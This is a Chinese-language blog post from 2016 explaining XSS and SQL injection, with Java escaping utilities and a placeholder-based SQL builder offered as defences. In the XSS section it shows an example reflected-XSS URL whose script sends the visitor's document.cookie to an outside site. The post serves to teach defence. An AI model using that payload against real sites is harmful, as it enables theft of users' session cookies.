WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

Dec 15, 2016 阅读(429)

标签: Xss SQL注入

对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见。对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎大家拍砖啊

一、跨站脚本攻击(XSS)

1、跨站脚本攻击的原理

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。

跨站脚本攻击的危害:窃取cookie、放蠕虫、网站钓鱼 ...

跨站脚本攻击的分类主要有:存储型XSS、反射型XSS、DOM型XSS

XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。

 

2、XSS工作流程

1)、恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:

http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>

参数<script>xxx</script>如果这里没有经过转义处理,则页面中就嵌入了一段script。

2)、恶意提交这个表单。

3)、其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。

 

 

 

如下情况,请求跳转到百度,并将查询到的cookie值也显示出来了

结果将导致:

 

更详细的Xss原理等知识请参考园内大拿“小坦克”的这篇文章 Web安全测试之XSS

 

二、那我们要如何防御Xss?

一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤,请看如下XSS过滤工具类代码

import java.net.URLEncoder;

/**
 * 过滤非法字符工具类
 * 
 */
public class EncodeFilter { 

        // 过滤大部分html字符
	public static String encode(String input) {
		if (input == null) {
			return input;
		}
		StringBuilder sb = new StringBuilder(input.length());
		for (int i = 0, c = input.length(); i < c; i++) {
			char ch = input.charAt(i);
			switch (ch) {
			case '&':
				sb.append("&amp;");
				break;
			case '<':
				sb.append("&lt;");
				break;
			case '>':
				sb.append("&gt;");
				break;
			case '"':
				sb.append("&quot;");
				break;
			case '\'':
				sb.append("&#x27;");
				break;
			case '/':
				sb.append("&#x2F;");
				break;
			default:
				sb.append(ch);
			}
		}
		return sb.toString();
	} 
	
	// js端过滤
	public static String encodeForJS(String input) {
		if (input == null) {
			return input;
		}

		StringBuilder sb = new StringBuilder(input.length());
		for (int i = 0, c = input.length(); i < c; i++) {
			char ch = input.charAt(i); // do not encode alphanumeric characters
										// and ',' '.' '_'
			if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' || ch >= '0'
					&& ch <= '9' || ch == ',' || ch == '.' || ch == '_') {
				sb.append(ch);
			} else {
				String temp = Integer.toHexString(ch); // encode up to 256 with
														// \\xHH
				if (ch < 256) {
					sb.append('\\').append('x');
					if (temp.length() == 1) {
						sb.append('0');
					}
					sb.append(temp.toLowerCase()); // otherwise encode with
													// \\uHHHH
				} else {
					sb.append('\\').append('u');
					for (int j = 0, d = 4 - temp.length(); j < d; j++) {
						sb.append('0');
					}
					sb.append(temp.toUpperCase());
				}
			}
		}
		return sb.toString();
	}

	/**
	 * css非法字符过滤 http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
	 */
	public static String encodeForCSS(String input) {
		if (input == null) {
			return input;
		}

		StringBuilder sb = new StringBuilder(input.length());
		for (int i = 0, c = input.length(); i < c; i++) {
			char ch = input.charAt(i); // check for alphanumeric characters
			if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' || ch >= '0'
					&& ch <= '9') {
				sb.append(ch);
			} else { // return the hex and end in whitespace to terminate
				sb.append('\\').append(Integer.toHexString(ch)).append(' ');
			}
		}
		return sb.toString();
	}

	/**
	 * URL参数编码 http://en.wikipedia.org/wiki/Percent-encoding
	 */
	public static String encodeURIComponent(String input) {
		return encodeURIComponent(input, "utf-8");
	}

	public static String encodeURIComponent(String input, String encoding) {
		if (input == null) {
			return input;
		}
		String result;
		try {
			result = URLEncoder.encode(input, encoding);
		} catch (Exception e) {
			result = "";
		}
		return result;
	}

	public static boolean isValidURL(String input) {
		if (input == null || input.length() < 8) {
			return false;
		}
		char ch0 = input.charAt(0);
		if (ch0 == 'h') {
			if (input.charAt(1) == 't' && input.charAt(2) == 't'
					&& input.charAt(3) == 'p') {
				char ch4 = input.charAt(4);
				if (ch4 == ':') {
					if (input.charAt(5) == '/' && input.charAt(6) == '/') {
						return isValidURLChar(input, 7);
					} else {
						return false;
					}
				} else if (ch4 == 's') {
					if (input.charAt(5) == ':' && input.charAt(6) == '/'
							&& input.charAt(7) == '/') {
						return isValidURLChar(input, 8);
					} else {
						return false;
					}
				} else {
					return false;
				}
			} else {
				return false;
			}

		} else if (ch0 == 'f') {
			if (input.charAt(1) == 't' && input.charAt(2) == 'p'
					&& input.charAt(3) == ':' && input.charAt(4) == '/'
					&& input.charAt(5) == '/') {
				return isValidURLChar(input, 6);
			} else {
				return false;
			}
		}
		return false;
	}

	static boolean isValidURLChar(String url, int start) {
		for (int i = start, c = url.length(); i < c; i++) {
			char ch = url.charAt(i);
			if (ch == '"' || ch == '\'') {
				return false;
			}
		}
		return true;
	}

}

 乌云网有很多关于xss报错的bug记录,如http://www.wooyun.org/bugs/wooyun-2010-016779

 

三、SQL注入漏洞

1、SQL注入攻击的原理

使用用户输入的参数拼凑SQL查询语句,使用户可以控制SQL查询语句。详细关于sql注入的信息请参考:SQL注入攻防入门详解

2、防御方法

  • 使用预编译语句,

  • 绑定变量

  • 使用安全的存储过程

  • 检查数据类型

  • 使用安全函数

建议方法:不要使用拼接的sql,使用占位符,例如使用JdbcTemplate,下面给出一种解决方法:用下面的各种函数代替拼接sql的出现

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class SqlBuilder {
	protected StringBuilder sqlBuf = new StringBuilder();
	protected List<Object> values = new ArrayList<Object>();
	protected Map<String, Object> paramMap = new HashMap<String, Object>();

	public SqlBuilder appendSql(String sql) {
		sqlBuf.append(sql);
		return this;
	}

	public SqlBuilder appendValue(Object value) {
		sqlBuf.append('?');
		values.add(value);
		return this;
	}

	public SqlBuilder appendValues(Object[] values) {
		sqlBuf.append('(');
		for (int i = 0, c = values.length; i < c; ++i) {
			sqlBuf.append('?').append(',');
			this.values.add(values[i]);
		}
		int last = sqlBuf.length() - 1;
		if (last > 0 && sqlBuf.charAt(last) == ',') {
			sqlBuf.setCharAt(last, ')');
		}
		return this;
	}

	public SqlBuilder appendEqParam(String param, Object value) {
		sqlBuf.append(param).append(" = :").append(param);
		paramMap.put(param, value);
		return this;
	}

	public SqlBuilder appendLtParam(String param, Object value) {
		sqlBuf.append(param).append(" < :").append(param);
		paramMap.put(param, value);
		return this;
	}

	public SqlBuilder appendGtParam(String param, Object value) {
		sqlBuf.append(param).append(" > :").append(param);
		paramMap.put(param, value);
		return this;
	}

	public SqlBuilder appendInParam(String param, Object... values) {
		if (values == null) {
			return this;
		}
		sqlBuf.append(param).append(" in (");
		int len = values.length;
		for (int i = 0; i < len; i++) {
			if (i != 0) {
				sqlBuf.append(", ");
			}
			sqlBuf.append(":").append(param).append(i);
			paramMap.put(param + i, values[i]);
		}
		sqlBuf.append(")");
		return this;
	}

	public SqlBuilder appendLikeParam(String param, Object value) {
		sqlBuf.append(param).append(" like :").append(param);
		paramMap.put(param, "%" + value + "%");
		return this;
	}

	public String getSql() {
		return sqlBuf.toString();
	}

	public Object[] getValues() {
		return values.toArray();
	}

	public Map<String, Object> getParamMap() {
		return paramMap;
	}
}

上面的两种漏洞对于web开发会经常遇到,此外还有拒绝服务攻击漏洞、跨站请求伪造(CSRF)、开放重定向漏洞等等,以后再慢慢学习!!!